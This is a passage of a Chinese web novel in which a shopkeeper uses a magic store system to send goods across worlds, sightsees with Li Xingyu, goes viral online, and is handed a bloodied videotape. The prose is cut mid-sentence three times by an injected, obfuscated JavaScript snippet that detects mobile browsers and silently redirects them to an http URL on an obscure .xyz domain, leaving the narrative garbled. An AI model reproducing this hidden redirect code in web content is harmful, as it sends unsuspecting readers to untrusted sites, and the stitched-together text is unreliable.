又一次返回小卖部，挂在墙上的老年机大声播报来电号码。 申明月吓得心脏加速了两秒，随即反应过来，接通电话。 萧妧妧直截了当的问：“明月，你看一眼结界……哦，就是后门那里，上面有没有显示什么数字？” 申明月半侧过身，目光绕着门框扫了一圈，果不其然在右下角看到了闪着金光的符号。 “我看到了，真的有东西，它们应该是萧老板说的数字吧？” 老年机没有拍照功能，只能麻烦申明月描述她看到的东西是什么样。 申明月蹲下来，比划片刻才说：“前面两个是竖直的棍棍，笔直笔直的那种，棍棍后面有一个小点，点后面是一个冒了头的圆圈，最后是长了尾巴的圆圈。” 萧妧妧听了一耳朵的棍棍点点和圆圈，手指凌空描两下，很快确定数字。 “我知道了，明月，你回去稍等一会，看看东西有没有送到。” 萧妧妧搓了搓手，忐忑测试新功能。 正好旁边是景区的店铺，她懒得问价，买下一个单筒望远镜，借着背包掩饰转移进空间。 接下来，萧妧妧按照操作提示，选中系统仓库里的望远镜、选择需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804423|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发送物品的客户，紧跟着对话框弹出，需要她填写坐标。 萧妧妧谨慎地回想一遍，确认无误填上数字，提交的瞬间，对话框里的内容转变为“已发送”三个字。 正当她要打电话过去，手机先一步跳出来电显示。 萧妧妧心里一喜，选择接通：“收到东西了吗？” 申明月举起黑乎乎的细长棍子，恍恍惚惚开口：“收到了，但是萧老板，这是什么东西？它怎么会突然出现？” 萧妧妧放心了，深呼吸，语气雀跃的向她解释。 申明月听了一会，望着剩下的货箱，将信将疑的应了一声好，守在结界边上。 她瞪大了眼睛，一眨不眨地等着，没想到几息的工夫，自家库房里唰的一下出现小山似的货箱。 申明月的丹凤眼瞪得圆溜溜，她举着老年机穿过结界摸了摸货箱，又保持着举手机的姿势穿回小卖部，呆呆望着已然空荡荡，只有少量灰尘的瓷砖。 她吞了吞口水，因震惊，声线有些发飘：“萧老板……它们……” 萧妧妧得意问：“怎么样，东西送到了吗？” 申明月重重点头，忽然想起她看不到，忙不迭应声：“送到了送到了。” 收货人已签收，萧妧妧挂断电话，喜滋滋嘟囔：“真方便啊。” 一级是茅草屋，没几个功能能用，二级是土胚房，凑合着也能用，三级才算真正意义上的大变样。 新开启的功能个个实用，加上基础的安全防护功能，她的位面小卖部可以说初具雏形。 “统，四级五级的功能不会是互相穿梭吧？不然多不公平啊，他们能来我这里，我却没办法去他们的世界。” 系统：【……交易件数不达标，暂时无法查看高级功能】 萧妧妧眼眸一眯，系统说它是高级功能，变相证实了确实存在这个功能。 一想到能去其他位面见见世面，萧妧妧眼冒精光，这可比出去旅游有意思。 一边探索系统新功能，对比升级后有哪些不同，一边往南奇寺背后的万佛石窟走。 “小心。” “哎呦喂……” 萧妧妧心不在焉的走着，即便有人出声提醒，依旧没能挽救她的脑门，咚的一声闷响，和前面的人来了个亲密结束。 被撞得人像堵墙，纹丝不动，对比之下，萧妧妧显得“弱不禁风”，险些要摔倒。 好消息，有人扶住了她胳膊，没摔。 坏消息，那堵墙是黎行聿。 萧妧妧捂着脑门抬头，干笑两声：“好巧啊。” 说完，视线不自觉瞄向黎行聿的胸口。 真硬啊，撞得脑瓜子嗡嗡的。 黎行聿见她又走神了，无奈说：“不巧，我来找你，上面游客多，容易走散。” 萧妧妧不解，走散就走散呗，约个地点集合的事，而且…… “你可以给我打电话啊，跑来跑去多麻烦。” 黎行聿哑然，身形顿住。 萧妧妧余光瞥到身侧没了人影，回头催促，没等出声，倏然注意到黎行聿耳根连着脖颈附近红彤彤一片，有蔓延到衣领之下的趋势。 “你晒伤了怎么不说啊，等等，我有防晒霜，”萧妧妧惊呼一声，翻包找防晒霜，一股脑塞进他手里，“别愣着啊，你赶紧擦擦吧，看起来有点严重。” 见黎行墨眉头微拧，神色复杂还有点不自然地望着小瓶子，萧妧妧以为他在不好意思，于是转过身不看他，径自爬阶梯。 59. 第 59 章 萧妧妧目标明确，大迈步朝着佛窟走。 那里的石壁有一尊超大佛像，是南奇山热门景点之一，游客必打卡的地方。 萧妧妧踮脚张望一会，没找到云昭昭的身影，便发一条消息告知大概方位，忙着拍照打卡。 她一手高举过头顶，另一手举着相机找角度，可惜她来得晚，热门好角度挤满了人，萧妧妧摆弄几次镜头，总有游客入镜，连拍几张下来，没有一张是满意的。 “这是什么姿势？” 黎行聿慢两步走来，在她身边站定。 萧妧妧眼睛一亮，“是和佛祖拍照的姿势，你看，像不像givemefive？” 黎行聿凑到屏幕前，看了看石壁上的佛像，再对照着看了看萧妧妧竖起的手掌，轻笑出声。 “我明白了。”黎行聿抽走萧妧妧的手机，退后半步。 一事不烦二主，萧妧妧打腹稿组织措辞，想着怎么拜托黎行聿帮忙，他倒是主动撞了上来。 萧妧妧笑眯了眼，配合地举起胳膊。 她一会givemefive一会握拳宣誓，隔了一会手掌倾斜，摆出敬礼的动作，黎行聿以为结束的时候，萧妧妧换了只手。 竖起食指戳佛祖脸颊、竖起两指抵在太阳穴、比L型手势放在下巴处、剪刀手横在眼前…… 黎行聿不知道她哪来这么多稀奇古怪的拍照姿势，连拍十几张后忍俊不禁。 萧妧妧怕他不耐烦，连声说：“快了快了，还有最后一个。” 她双手举起各伸出一根食指，一左一右分别卡在佛头两边。 黎行聿：“这个动作是什么意思？” “是一休转脑筋的手势。”她说。 萧妧妧解释完，黎行聿也刚好完成拍照，她噔噔噔凑过来查看照片。 黎行聿拿出手机搜索一休，看见图片上盘腿的小和尚，瞬间了然。 “可以再拍几张吗？我保证只有几张，很快的。” 萧妧妧显然是意犹未尽，狐狸眼弯成月牙，水润润亮晶晶，她仰头看过来，双手合十晃了晃，讨好地冲着他笑。 黎行聿不由失神，喉头滚动两下，在她希冀的目光中点头。 “谢谢你黎行聿，你人真好。” 好话不要钱似的扔出来，萧妧妧放下背包，蹲在地上翻翻找找。 好一会，依次掏出口红、墨镜、矿泉水、棒棒糖。 “对了，黎行聿，你身上有烟吗？”她想到什么，突然仰头。 黎行聿不解：“我不抽烟。” 萧妧妧失望：“那就拍不到请佛祖抽烟的照片了。” 请佛祖抽烟……黎行聿想象一会，不由发出短促清越的笑声。 “稍等。”他说。 见黎行聿低头在手机上敲了几下，萧妧妧以为他在忙私事，没敢打扰，老老实实等了一会，直到他收起手机，才开始微笑摆pose。 有前面的经验累积，黎行聿很快摸清了萧妧妧的喜好，高效率完成任务。 萧妧妧来回翻一遍，每张都很满意，惊喜极了。 “我拍完了，要不要帮你拍几张？”萧妧妧递上自己的拍照道具：“喏，它们可以借你用。” “不，谢谢。” 黎行聿回想她做得那些搞怪俏皮的pose，后撤半步，敬谢不敏。 萧妧妧耸耸肩，道具塞回背包，“那我们去出口集合吧。” 黎行聿扫一眼手机，“再等等。” 萧妧妧挠头，不知道他要等什么，好在没多久，她就知道等什么了。 “哥，你要烟做什么，你不是不抽的吗？” 黎行墨一头雾水地找来，从裤兜里掏出半盒香烟，拿出一支递过来。 黎行聿没接，下颌微抬，示意旁边傻眼的萧妧妧。 “给她。” 黎行墨：“……？” 萧妧妧迟疑一会，指着自己，试探开口：“该不会是……给我拍照用？” 黎行墨一脸问号：“拍照？？” 黎行聿偏头转向萧妧妧：“不拍吗？” 萧妧妧偷瞄一眼，黎行墨地傻愣愣瞪着眼睛，飞快从他手里抽走香烟，边拿边小声道谢。 “拍拍拍，当然拍。” 说完，两人一前一后离开，寻找最佳机位。 被撇下的黎行墨摊手耸肩，一脸问号，看他们旁若无人地举着香烟咔咔拍。 不知道发生什么，萧妧妧又抱着肚子笑的东倒西歪，黎行聿一向挂着礼节性笑容的脸上频频浮现愉悦的神态，纤细身影与明媚笑脸潜入他眼底。 怪异感又一次漫上心头，黎行墨神情一肃，双手环胸，拧眉审视起萧妧妧。 萧妧妧无疑是漂亮的，哪怕不是他会欣赏的类型，黎行墨也不能昧着良心说不好看。 但漂亮的、有趣的、温柔的……从来不少见，萧妧妧算不上多么独特。 “算了，应该不可能。”他挠挠头，随口嘟囔。 “什么不可能？是不是等烦了？” 萧妧妧拍到了满意照片，整个人兴高采烈，洋溢着幸福气息。 黎行墨瞄一眼大哥，摇了摇头，没说话。 “你刚才没看到，有一个旅游团的大爷们有样学样，举着手从我们中间穿过去，大爷边走边说‘南市的佛祖为什么要这样拜？’哈哈哈，太好笑了。” 萧妧妧模仿大爷的动作还模仿大爷的语气，没说完，自己先憋不住哈哈笑，笑得上气不接下气。 黎行聿虚张着胳膊拦在她身侧，防止她撞到人。 黎行墨刚压下去疑虑倏地冒出头，他笑不出来，目光一个劲的在两人间打转。 萧妧妧一无所觉，缓过劲后，分辨方向，带着他们找集合点，黎行聿神色淡淡，迈步跟上。 黎行墨望着一前一后的背影，嘀咕一句“一定是我看错了”，随即大迈步绕到两人前面带路。 “咦……黎行聿，你的晒伤已经好了？” 萧妧妧走着走着落在了后面，下阶梯时瞥到黎行聿的肩颈，猛地想起他晒伤的事，可这才没多久，皮肤已然看不到一点痕迹。 黎行聿下意识摸了摸颈侧，动作稍顿一会，含糊回应她，“防晒霜很有用。” 萧妧妧呆了呆，不知道怎么回话，防晒霜能治晒伤？ 这时，黎行墨不知道怎么了，突然间加快脚步冲了出去。 萧妧妧反应慢半拍，跟上去后正好撞见黎行墨推攘季随。 “脱鞋就脱鞋，用得着抱这么紧吗？” “昭昭，你鞋子怎么了？脚没事吧？” 云昭昭承受着四面八方的视线，巴掌大的脸涨得通红，写满了无措。 萧妧妧听了一会，总算知道他们为什么闹起来。 云昭昭的鞋子脱胶了，鞋底鞋面分家，尴尬得不知道怎么办，季随刚扶住她，黎行墨恰好撞见，不由分说的闹起来。 萧妧妧叹气，扶额，一副头疼的表情。 要不是气氛不合适，她真想喊一嗓子“你们补药再打了啦”。 “你们别吵，先去找双能穿的鞋子要紧。” 提醒他们一句，萧妧妧转身往回走，从南奇寺过来的路上有两间商铺，她记得那里有拖鞋卖。 “我跟你去。” 黎行墨季随不甘示弱，先后开口，萧妧妧脚步一顿，求助地看向黎行聿。 黎行聿：“我跟你们一起。” 萧妧妧呆了一会，她以为黎行聿会制止他们，她一个人来回跑快得很，多了他们俩不知道有多折腾。 只是他话已出口，萧妧妧不好拒绝，而且黎行墨和季随正在较劲，估计不会听话。 想了想，萧妧妧转身嘱咐道：“昭昭你先去阴凉地方等等，我们很快回来。” 云昭昭难堪地捂着脸，点点头，躲开其他游客的视线，默默挪向角落。 找商铺的路上意外的和谐，萧妧妧以为只要把鞋子买到再赶回去，这件事到此为止，哪知道他们会在拖鞋颜色上产生争执。 黎行墨：“粉色好看，昭昭会喜欢粉色。” 季随：“喜欢有什么用，她更适合白色。” 萧妧妧吐槽：“款式差不多，随便拿一双得了。” “不行！”*2 两人一动不动地瞪着对方，头也没回的拒绝。 萧妧妧无力耸肩，退到黎行聿身边，看他们能争到什么时候。 这时，僵持不下的两人转身询问他们的意见，寻求认同，压下对方。 黎行聿哪个都不认同，“既然是云老师穿的鞋子，你们是不是该尊重她的意见？” 黎行墨不以为然：“不用问，昭昭肯定喜欢我选的颜色，女孩子都喜欢粉色。” 黎行聿挑了挑眉梢，不置可否地笑了笑。 萧妧妧看热闹不嫌事大，笃定说道：“我觉得昭昭会选黑色。” “为什么？” 两人齐齐转头看过来，齐齐开口。 萧妧妧啧了一声，“你们太不懂女孩子了，尤其是昭昭。” 昭昭平时很节俭，买东西肯定优先考虑实用性。 白色不耐脏，粉色难搭配，实用性不高，只有黑色百搭又耐脏，适配昭昭任何颜色的衣服，可以反复穿。 两人神情明显是不相信的，萧妧妧哼哼两声，给云昭昭拍去照片问她意见。 没多久，一句黑色的回复发来，两人默然不语，神情恹恹。 萧妧妧暗道一声总算结束了，抓紧时间买了拖鞋赶回去。 这一出闹完，他们罕见的老实了许久，别说萧妧妧，云昭昭都有点不习惯，偷摸给她发消息，打听他们是不是打架了。 下山的路要清净许多，萧妧妧腿脚软得直发抖的时候，一行人终于回到了景区的停车场。 景区门口打车难度太大，萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812057|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妧妧一看排队时间要半小时，差点没晕倒。 正为难，黎行聿驾着车停在她面前。 “上车吧，我送你们回去。” 萧妧妧看向后面，黎行墨和季随分别驾着车紧跟过来，停在路边。 豪车引起了路旁游客的围观，纷纷上前拍照合影，女生莫名的询问、男生激动地解答。 大家没听懂品牌名称，但“全球限量”“一个亿”几个字蹦出口，周围炸锅似的惊呼，吸引了更多人上前参观。 没有人能不好奇，大家都想看看什么破车能值一个亿。 而这时，黎行墨旁若无人地探出车窗，使劲朝云昭昭和萧妧妧的方向挥手，大声呼喊云昭昭的名字，陆续有人转过头来张望。 萧妧妧收回视线，毫不犹豫答应黎行聿的邀请。 黎行聿这次乘坐的车子偏商务一些，对比后面那辆价值过亿的骚包跑车，低调了不止一点点，关键是座位足够塞得下她们两个人。 “那啥，能不能等一分钟？”萧妧妧走到车边，略显为难地挠头，“我的外卖马上就到。” 萧妧妧又累又热又渴，下山前忍不住点了两杯柠檬茶解馋。 黎行聿略歪了歪头，阳光下，萧妧妧脸蛋红扑扑，额头汗珠细密，手掌做扇不停给自己扇风遮阳。 “上车等。” 萧妧妧欢快地唉了一声，拉着云昭昭走下人行道。 云昭昭见黎行聿坐在后排，缩了缩脖子，无视不停呼喊的黎行墨，脚步一转，选择副驾驶。 萧妧妧只好去后排，和黎行聿一起，刚要拉开车门，外卖电话打来。 她和车里人示意一下，按照外卖小哥给出的位置前去找人，好不容易在人群里接头，拿到外卖，萧妧妧转身看到岔路口摆放的几个易拉宝海报架。 “古董收藏展……” 萧妧妧凝着易拉宝上的图文出神，冷不丁听到黎行聿的声音从身侧传来，仰头看过去。 黎行聿回望她眼眸，看出她的困惑，淡淡解释：“担心你出事，过来看看。” 萧妧妧瞄一眼手机，原来是她看得入神，耽误了几分钟。 她一脸懊恼的说：“抱歉抱歉，没注意时间，我们回去吧。” 黎行聿多看一眼海报，又看一眼海报正后面的展览馆，没说什么，领着萧妧妧往回走。 “妧妧姐你怎么去那么久，没出事吧？” 看到两人身影先后出现，云昭昭放心了，果断拒绝黎行墨的邀请，催促他回自己车上，然后不再理会他委屈的目光，转过身，望着刚坐上后排的萧妧妧关心几句。 萧妧妧吹了会冷气，缓过劲后摆摆手解释：“没什么，看到一个感兴趣的展览，没注意时间。” 说着，萧妧妧给她递去果茶，又拿出吸管想插进自己杯子里，刚要动作，突然发现有点尴尬。 她和云昭昭一人一杯，黎行聿看着她们喝，好像不太好。 “……这杯给你喝，就当谢谢你载我们一程。”萧妧妧忍着心痛把饮料递出去。 黎行聿好笑地打量萧妧妧，她脸上不舍的表情太明显。 他拿起自己的保温杯晃了晃，拒绝她的好意，“谢谢。” 萧妧妧放心了，吸管啵得一声插进杯子，酸甜果茶下肚，狐狸眼舒服地眯起。 “真看不出来，你已经到了要喝枸杞水保养的年纪。” 黎行聿看她咕嘟咕嘟大口吞咽，忽然觉得口渴，刚拧开杯盖，闻言动作稍顿。 “……29岁，应该不算很老吧？”定定地望着杯子里漂浮的枸杞，黎行聿怎么也下不了口。 萧妧妧自知失言，急忙找补：“不老不老，男人至死是少年。” 黎行聿：…… 车厢里陷入沉默，萧妧妧不觉得尴尬，有一搭没一搭地盯着车上的仪表盘。 “真的，竟然没有超过40码哎。” 豪车，但40码，甚至请了司机开，萧妧妧观察半天，忍不住和云昭昭小声蛐蛐。 景区内车辆众多、游客如织，道路拥堵不堪，车子只能缓慢地走走停停，等到了通畅路段仍旧保持40码以下的速度，足以证明黎行墨的吐槽保真。 黎行聿嗓音沉沉，不紧不慢接话：“交通安全，人人有责。” 萧妧妧一惊，她随口和云昭昭嘀咕，没想到让黎行聿听见。 她微微侧过身子，快速瞥了一眼黎行聿，见他紧闭双眼靠在椅背上，看起来像睡着了，实际清醒着呢，连低语声也没能逃过他的耳朵。 萧妧妧缩了缩脖子，瞬间变得乖巧起来，再也不敢随意乱说话，盯着急速倒退的绿荫发呆。 当萧妧妧回过神，发觉周围的绿化景色有些熟悉时，车子慢悠悠停在月牙巷口。 这时，副驾驶的云昭昭咦了一声，指着前面不远处的小卖部，诧异低呼。 “妧妧姐，你快看，小卖部门口好多人。” 60. 第 60 章 萧妧妧闻言心口一跳，慌忙探出车窗查看。 小卖部像是网红打卡点一般，时不时有人路过指指点点，或是停下脚步拍张照再离开。 “谢谢你啊黎行聿，”萧妧妧又把目光投向了前面开车的司机师傅，补充：“大叔，也谢谢你啊。” “店里有点事，我先走了。” 萧妧妧冲黎行聿挥挥手，迫不及待地推开车门，拎起包往小卖部跑。 云昭昭不愿意独自面对不苟言笑的老板，赶忙向他们道谢后，飞快地跟下车。 黎行聿看着她们风一般迅速跑远，想要说些什么，但最终没来得及出声。 目送她们安全进入店内，黎行聿收回视线，对司机师傅吩咐道：“回公司吧。” 得到指令后，司机师傅应了一声，踩油门重新上路，渐渐消失在车流中。 回到小卖部，店里一如往常的平静，没见什么异样，确定不是异世界客人闹出事引来大家注目，萧妧妧彻底松了一口气。 正好肚子饿了，萧妧妧不去管外面一波波打卡拍照的人，留下云昭昭吃午饭。 云昭昭欣然点头同意。 夜爬过后正需要补充能量，黎行墨邀请大家一起吃饭，有过前车之鉴，她们默契地拒绝了，宁愿回小卖部吃垃圾食品。 两人快快乐乐地收拾桌子等外卖，没想到许年华先找了过来。 一进门，他喜气洋洋的说：“恭喜恭喜，萧老板，你火啦。” 云昭昭见他们要谈正事的样子，自觉让出空间，去后院客房卸妆。 “什么火了？许叔你快跟我说啊，我昨晚去夜爬，刚回来没喘几口气，还不知道发生了什么呢。” 许年华一打量，萧妧妧今日果然打扮的不一样，便道：“嗐，你看看热搜吧，是好事。” 萧妧妧更懵了，狗屎一样的运气能遇到什么好事？ 将信将疑的掏出手机，接上充电线，一开机，新闻弹送到眼前。 “古董店主获赏金140万后，无偿捐赠古籍复印本” “古董店主无偿捐赠古籍，助力破译甲骨文” “十四个字，一百四十万，美女店主如何日入百万” 不同APP用了不同标语推送新闻，萧妧妧随手一滑，还真有种自己火了的错觉。 点进去仔细看图文，她和文字博物馆教授们的合影赫然在列，不止如此，新闻稿写明了店铺名称和大致地址。 转念一想，难怪昨天博物馆的韩叔找来问她古董铺取名了没。 滑动屏幕，页面进入到评论区，粗略浏览一遍，好在没什么质疑的声音。 萧妧妧挺意外的，热度居然很高，不知道是关注破译进展还是关注那一百四十万。 她又切换到其他APP刷相关信息，萧妧妧灵光一闪。 为什么不趁现在热度高注册一个属于古董铺的账号？ 反正早晚都要做的事，这样一来不仅能够增加曝光度，说不定还能吸引到更多的潜在客户，拓宽客源呢。 萧妧妧的行动力一向超强，想到做到。 切换空白小号，改用户名，恰好前几天她拍摄了一段双面绣屏的视频，能派上用场，随后发布几张上了新闻稿的合影证明账号真实性。 忙完这些，她切换APP跑去热搜新闻下，在评论区装作路人指引店铺账号，引导着其他网友前去关注。 “萧老板不够意思啊，要不是今天看了新闻，哪知道萧老板你背着大家做好人好事啊。” 一番忙碌，萧妧妧差点忘记许年华在等她，匆忙收起手机。 “许叔怎么今天找来了？我再晚点回来，您可就要白走一趟。”萧妧妧跳过话题，转而问起其他。 许年华笑眯眯说：“不白走，这不是路过顺道看一眼，对了，今天网络拍卖，你那枚银元拍出去了，买家一付款，我们这边就能打款。” 萧妧妧懵了一会，恍然记起自己送拍银元这件事，她一拍脑门，懊恼说：“我给忘了，许叔，剩下那几枚要不要一起带走？” 许年华：“要一起卖？” 萧妧妧想了想，一枚枚卖怪麻烦的，全部卖出要等大半年，而现在的她并不缺那几千块，卖不上价就卖不上价吧。 “一起吧。” 她一股脑把剩下几枚银元塞给许年华，许年华见她主意已定，掏协议走流程，笑着打趣：“可见萧老板最近没少赚。” 萧妧妧腼腆的笑笑，没接话。 许年华趁她签字的工夫，调整坐姿，试探开口：“对了，萧老板那天发的朋友圈，我瞧着怪眼熟的，好像是我们黎总。” “是他，那天隧道淹了，他弟弟给我五万让我送黎行聿去公司，”萧妧妧说着说着开始叹气，“太倒霉了，我还是第一次被交警抓呢。” 许年华盯着她瞧，分辨了一会，笑哈哈说：“是挺倒霉，我看到照片都没敢认。” 萧妧妧不想回忆那天，急匆匆签字把协议递回去，打断了话题。 许年华检查一遍，收进公文包，扭头环顾四周，一副神秘兮兮的样子凑过来。 “上回和萧老板说的事，有眉目了。” 萧妧妧回想一下，马上反应过来他说得是哪一回，唰一下瞪大眼睛。 “许叔您喝茶，咱们慢慢聊。” 正好茶水烧开了，萧妧妧为他泡了一杯茶，茶叶是苏娇娇带来的，很拿得出手。 许年华接过茶杯，嗅了嗅香气，惊喜地啧了一声。 “是这样，我认识的一位收藏家，特别喜爱围棋，什么棋盘棋子棋盅，收藏了不少，他现在呢在收集象牙棋子，我这不是想起你手里有牙雕手串，所以先来打听打听，要是能弄到，我也好带人来不是。” 萧妧妧一听，有片刻失望，“只要棋子吗？” 许年华挑挑眉，神情意外：“看来是我小瞧了萧老板，你放心，如果你能弄来一整套，棋盘一副，棋盅两个，黑白棋子361枚，张先生吃得下。” 他挤挤眼睛：“张先生很有实力，爱好也是一阵一阵的，前些年喜欢翡翠，最近爱砗磲象牙，谁知道下回又看上什么了。” 萧妧妧明白了他的意思，笑着说：“谢谢你许叔，给我介绍这么大一单生意。” “嗐，要是真能促成生意，那是三赢，当是我的一点心意，”许年华连连摆手，抱歉的说：“你婶婶那件事，给萧老板添麻烦了。” 反正这些东西明面上走不通，他私下里牵线搭桥，既维护了客户关系，又能赔罪，大家都有的赚。 萧妧妧又想叹气了，“三婶她……是有点难搞。” 许年华想起那天王翠菊冲上来的架势，深以为然的点头。 “许叔，要不要看看我的古董铺？周一开业，您是自己人，有优先权。”萧妧妧笑眯眯邀请。 许年华当即来了兴趣，起身要往后院走。 “嚯！萧老板你这铺子真是大手笔啊。” 许年华等她开了门，一踏进铺子，眼睛都不知道看哪里好。 他不是专业搞鉴定，但大学专业有点联系，又在这行业浸淫多年，眼力还是有的。 排除玉仁宅那十几件眼熟的老演员，铺子里大部分物件都有看头。 “还有双面绣呢，这不便宜啊，咱们拍卖行前两期拍出去一件，只有你这一半大，50万。” 许年华张开手掌比划一下，而后转到玻璃柜附近。 “瓶子真好看，这雕工，一看就知道不是现代的技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823347|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺……”许年华目不转睛地盯着眼前的宝贝们，恨不得拿来放大镜，“萧老板有没有想过送几件去佳博？” 如果把它们送到拍卖会上去，毫无疑问会引发一场激烈的争夺战，成交额手到擒来。 萧妧妧转念一想，也不是不行。 系统仓库里有不少她没来得及收拾出来的老物件，只摆在店铺里出售，天晓得要等到猴年马月，才能碰到识货且愿意出价购买的有元人。 “好啊，许叔你看哪些合适？”萧妧妧大方极了，伸手做出请的姿势，任他挑选。 许年华顺口那么一说，压根儿就没指望这事儿能够成真，闻言喜不自禁。 他一会儿走到这边瞅瞅，一会儿又跑到那边摸摸，嘴里不停地念叨。 “哎呦喂，这玉如意可真是太精美了，瞧着是青白玉的，绝对适合作为下下期拍卖会的主题拍品； 还有双面屏风，啧啧啧，工艺精湛啊，正好可以放到下一期去亮相； 嗯……这墨可真不错，年底有书画为主题的拍卖会，肯定能派上大用场。” 萧妧妧看他那副垂涎欲滴、两眼放光的模样，心中涌起得意之情，骄傲地仰起头。 别以为她没看出来，许年华进店之前，对她的古董铺子可是很不以为然的。 “许叔，你可别把好东西都挑走了，我这古董铺也需要留几件镇店的。”她笑着打趣。 许年华脸颊一阵红过一阵，“不能不能，我就挑两三件。” 正在这时，手机铃声欢快响起，萧妧妧悄悄打开监控，退到院子中。 “妧妧啊，你上新闻啦？那个热搜里面是不是你啊，你小姨说看着像你，我说不可能啊，咱们是开小卖部的，上面怎么说是古董店啊？我一看那个照片，正好是咱家那个院子，怎么回事啊？” 电话接通，张芸的大嗓门滋滋啦啦传来，萧妧妧捂着耳朵挪开手机。 “是我。”萧妧妧缩了缩脖子，声音渐弱：“这不是生意冷清，想法子搞个副业嘛，本来想等开业了给你们一个惊喜。” “对了，妧妧啊，那个一百四十万是不是真的啊？真给那么多吗？” 电话那头叽叽喳喳，没多久，不属于张芸的声音传来，萧妧妧分辨了一会，乖巧喊一声“小姨”。 “是真的，钱我都拿去进货开铺子了。” 萧妧妧早想好了借口，淡定接话。 毕竟铺子里宝贝多，进货的本钱从哪来说不清，正好这一百四十万的进账能当幌子用用，也免得亲戚们惦记，她还要想法子拒绝。 “我们妧妧真厉害，你现在工作稳定了，该考虑一下结婚处对象……哎呀，大姐你别拉我，等我说完……” “妧妧，还是小姨，小姨认识不少男孩子呢，你要是有想法，小姨给你介绍，条件都很好的，你听小姨给你讲讲……” 萧妧妧顿时头大，刚回南市那阵子小姨就提过相亲的事，她用开店装修的理由暂时蒙混过去。 现在店铺开起来了，一时半会她真想不到什么理由拒绝。 “欢迎光临~” 好在这时看店神器响起提示音，萧妧妧心中一喜，急忙转移话题，“小姨，妈，我先挂电话了，好多人来店里打卡呢，我得去招呼一下。” 顾不上电话那头有没有反应过来，萧妧妧以迅雷不及掩耳之势迅速挂断电话。 “妧妧你在吗？” 突然听到苏娇娇惊惶的呼唤，萧妧妧心里一咯噔，来不及多想，三步并作两步，大步流星地迈进了小卖部。 然而还没等她站稳，一双血淋淋的手毫无征兆地闯入眼帘，再看苏娇娇身上，深色的斑斑点点溅了一大片，血腥气扑面而来。 萧妧妧倒吸一口凉气。 61. 第 61 章 “出事了，车上有特务在搜查。” 看到萧妧妧，苏娇娇安心了不少，惊魂未定的开口。 实在是太意外了，本该一帆风顺的返程，因这场突如其来的状况变得惊险万分。 “特务？是来找你的吗？” “是不是受伤了？怎么伤的？我给你弄些药吧。” 萧妧妧见她白着一张脸，说话时声音颤抖，吓了一大跳，匆忙抬头看一眼结界，显示的画面应该是火车上的厕所。 苏娇娇喘息片刻，拦住团团转的萧妧妧，缓缓开口，说起前因后果。 她的目光飘忽，思绪好像拉回几分钟前，眼睁睁看着那位金发记者死在自己眼前。 “别担心，不是我的血，有一个外籍记者，她被特务追杀了，她死之前塞给了我一盒录像带，现在特务封锁了火车，要给每一个人搜身，我带不走它。” 外籍记者、录像带、特务……几个词组在一起，萧妧妧嗅到了不同寻常的气息。 到底哪里不同寻常，萧妧妧一时半会没能想通关窍。 苏娇娇来不及交待更多，急匆匆把录像带塞到了她的手里，拜托她藏起，又急匆匆回到火车的厕所打理自己。 “萧老板，萧老板？东西我选好了，你人呢？” 萧妧妧正望着录像带沉思，猛地听到许年华呼唤，忙把东西丢进系统仓库，擦净手上蹭到的血迹。 “许叔，你真会选啊，这三样都是我花了大价钱收回来的。” 许年华满面通红，意气风发，凝视柜台上三件宝贝，双手叉腰，可见是满意极了。 第一件是玉如意，第二件是南红手串，第三件是一套古墨。 萧妧妧好奇，许年华看中了它们什么。 瞄一眼系统面板，已经扫描完毕，等待她启动估价功能，萧妧妧果断选择开启，依次扫描许叔选中的三件东西。 略等了十来秒，它们以图片形式在面板上呈现，排成一行，图片正下方是赤裸裸的数字，币种可切换十来个左右。 萧妧妧惊喜万分，迅速扫了一眼。 和田玉青白玉玉如意，系统估价620万元，价格出乎萧妧妧预料，她以为最多三四百万顶天了。 再就是南红手串，品相接近极品，但因其中一颗珠子上有细微瑕疵，估价说高不高，说低不低，达到了108万。 即便如此，也很出乎她预料，小小一串红珠子，和她手上戴的玛瑙瞧着大差不差，价格差了百倍以上。 最后是那一盒长条的古墨，共八锭，尺寸不算大，两指宽、半截手掌那么长，每锭正面有金箔做装饰，侧面雕有诗词，价格在这三样中最低，64万8，有零有整的。 但换个角度比，八锭总共9斤多一点，能卖到65万，其实挺贵的，比起苏娇娇送来的那套圆形明墨，没便宜到哪里去。 看到估价，她总算能理解许年华的眼光，赞叹片刻，目光转向八锭古墨。 “你说墨啊，”许叔笑眯眯说：“最近半年古墨收藏市场有明显升温，尤其古墨不易保存，存世稀少，碰到合适的就收了吧。” 萧妧妧闻言，心思一动，想再给那套圆形古墨估一估价。 许年华等了一会，没见萧妧妧反对，心情更好了，丢下协议，回到车上取专用盒子包起拍品。 